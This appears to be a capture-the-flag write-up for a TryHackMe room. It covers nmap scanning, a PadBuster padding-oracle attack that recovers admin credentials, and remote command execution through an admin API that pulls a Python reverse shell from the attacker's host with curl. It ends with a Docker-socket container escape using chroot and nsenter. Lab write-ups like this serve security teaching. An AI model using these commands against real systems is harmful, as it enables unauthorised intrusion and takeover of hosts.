> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/new-york-flankees.md).

# New York Flankees

{% embed url="<https://tryhackme.com/r/room/thenewyorkflankees>" %}

## Recon

Let's start with an nmap scan.

{% code overflow="wrap" %}

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -p- nyf.thm -T4                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 11:40 IST
Nmap scan report for nyf.thm (10.10.234.248)
Host is up (0.17s latency).
Not shown: 65518 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
8080/tcp  open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1618.22 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p22,8080  nyf.thm -T4 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 12:07 IST
Nmap scan report for nyf.thm (10.10.234.248)
Host is up (0.14s latency).

PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 83:11:bd:08:e9:8b:f0:cd:ca:21:bb:cf:1e:a9:02:12 (RSA)
|   256 4f:1f:10:1e:22:5b:48:24:ea:3a:2b:4f:88:b6:b9:7c (ECDSA)
|_  256 2d:79:b4:8c:e7:76:84:58:fe:54:0b:06:d5:ae:18:99 (ED25519)
8080/tcp open   http    Octoshape P2P streaming web service
|_http-title: Hello world!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds
```

{% endcode %}

We manually explore the page and discover a welcome message. It indicates that this is a test instance where Stefan experiments with his ideas and implementations. Oracle is mentioned as his sponsor, providing the first clue about the nature of the setup. In the header, we find links to the Blog, Stefan Test, and Admin Login pages.

<figure><img src="/files/BG3uu5lFHu0QRwQEHJkd" alt=""><figcaption></figcaption></figure>

The login page doesn't reveal much information. There is no feedback provided, making it impossible to enumerate users or brute-force passwords.

<figure><img src="/files/pPA66VOYFEjfSoSxX3dJ" alt=""><figcaption></figcaption></figure>

In the header, we find a link labeled `Stefan Test` which redirects us to a static debug HTML page. The page lists two tasks: implementing a custom authentication system and fixing a bug related to padding. The mention of padding and Oracle together is certainly intriguing.

<figure><img src="/files/uRtYvUAFiVAFFtHpPhqT" alt=""><figcaption></figcaption></figure>

In the source code, we discover a piece of JavaScript that makes a GET request to `/api/debug/<HEX>`. The comments also include references to AES, CBC, and PKCS. This gives us a clear indication of the challenge ahead: we'll need to carry out an AES-CBC padding oracle attack.

<figure><img src="/files/nrlsrOPZZYeDL4X7cqVx" alt=""><figcaption></figcaption></figure>

Given that we have access to a ciphertext and an oracle at `/api/debug` that reveals whether the padding is correct or incorrect, we can exploit this to perform a padding oracle attack, a type of chosen ciphertext attack. This method should enable us to decrypt the ciphertext found in the source code.

We can utilize PadBuster to execute the padding oracle attack successfully. The following code snippet demonstrates how it can be done. Identifying the correct block size is crucial for the attack, and in this case, it was determined through trial and error. Potential block sizes can be divisors of the ciphertext length, which is 80 in this case. The correct block size is 16 bytes, and the ciphertext is encoded in lowercase hexadecimal.

{% embed url="<https://book.hacktricks.xyz/crypto-and-stego/padding-oracle-priv#how-to-exploit>" %}

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ padbuster http://nyf.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 "39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4" 16 -encoding 1 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 29

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     29      N/A
2 **    255     500     16      N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (133/256) [Byte 16]
[+] Success: (250/256) [Byte 15]
[+] Success: (254/256) [Byte 14]
[+] Success: (174/256) [Byte 13]
[+] Success: (173/256) [Byte 12]
[+] Success: (245/256) [Byte 11]
[+] Success: (254/256) [Byte 10]
[+] Success: (248/256) [Byte 9]
[+] Success: (255/256) [Byte 8]
[+] Success: (246/256) [Byte 7]
[+] Success: (164/256) [Byte 6]
[+] Success: (168/256) [Byte 5]
[+] Success: (246/256) [Byte 4]
[+] Success: (163/256) [Byte 3]
[+] Success: (178/256) [Byte 2]
[+] Success: (166/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): ea0dcc6e567f96414433ddf5dc29cdd5
[+] Intermediate Bytes (HEX): 4a4153075457000800050d565601047a
[+] Plain Text: stefan1197:ebb2B

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, &#x3C;STDIN> line 1.

*** Starting Block 2 of 4 ***
...
...

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): &#x3C;REDACTED>:&#x3C;REDACTED>

<strong>[+] Decrypted value (HEX): &#x3C;REDACTED>
</strong>
[+] Decrypted value (Base64): &#x3C;REDACTED>
-------------------------------------------------------

</code></pre>

After a lengthy process, we successfully decrypt the blob, revealing a set of credentials for the admin dashboard. These credentials also provide the answer to the first challenge. Upon logging in with them, we discover the first flag. The dashboard allows us to execute commands, but we receive very minimal feedback—just an "OK" message if the command was executed successfully.

<figure><img src="/files/QH5iW70oKtjZwMe2xUg0" alt=""><figcaption></figcaption></figure>

## Code Execution

The initial attempt involved trying to spawn a simple reverse shell, but this wasn't successful, nor was executing a ping command. It's likely that the available command set is somewhat restricted. Given the room's description, this might be a Docker container, which could explain the limitations. We then tested various binaries; if a command seemed to execute successfully, we received an "OK" in response.

<figure><img src="/files/dl6e62ab80zfGzJnUzCJ" alt=""><figcaption></figcaption></figure>

We can't use nc either.

<figure><img src="/files/gve4KBhnkcgCASXXGfIt" alt=""><figcaption></figcaption></figure>

Python works.

<figure><img src="/files/Q4Wi2ELoRy1g3PkxHyIN" alt=""><figcaption></figcaption></figure>

Direct execution was not successful. Therefore, we write a Python script, which we bring to the machine with the help of cURL.

Once the script is on the machine, we have to set the permissions so we can execute it and then run it. The commands are executed one after the other, with a separate request for each one.

```
/api/admin/exec?cmd=curl%20http://10.17.15.155/rev.py%20-o%20/tmp/rev.py

/api/admin/exec?cmd=chmod%20+x%20/tmp/rev.py

/api/admin/exec?cmd=python3%20/tmp/rev.py
```

We received a connection back, we are `root`. Next, we're upgrading our shell first. Furthermore, we then find the docker flag in the environment variable `env`.

<figure><img src="/files/Tg88KH0ZMxZcQtm6ZJlX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Yq4mtjCdJXQmcUGwTiBH" alt=""><figcaption></figcaption></figure>

We are in a Docker container

We can use the Docker enumeration script, `deepce`. Though it's a bit outdated, it's still effective and reliable. During the enumeration, we noticed that the Docker socket is writable. We then referred to HackTricks and found a suitable escape method.

{% embed url="<https://github.com/stealthcopter/deepce>" %}

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape>" %}

<figure><img src="/files/Ft3QHEDbzGpS5kGfct8k" alt=""><figcaption></figcaption></figure>

We can confirm this again with a manual search.

<figure><img src="/files/uWff8pJhZDM39IhxIJKp" alt=""><figcaption></figcaption></figure>

We examine the available images on the machine and come up with a plan: to run one of these images, mount the host directory onto it, and change the root directory to the host's root. This approach gives us full access to the host by leveraging the `ns pid` and `nsenter` CLI tools. We adapt commands from HackTricks, using the image ID for reference, and decide to proceed with the `gradle` image.

<figure><img src="/files/0QacVL9C7sJxDF7Sy0aB" alt=""><figcaption></figcaption></figure>

Below are the commands:

```bash
docker run -it -v /:/host/ d5954e1d9fa4 chroot /host/ bash

docker run -it --rm --pid=host --privileged d5954e1d9fa4 bash

nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```

<figure><img src="/files/Vx4QPgh4m7NkW2QKwWdL" alt=""><figcaption></figcaption></figure>

With root access to the host, we navigate to `/flag.txt` and retrieve the final flag.
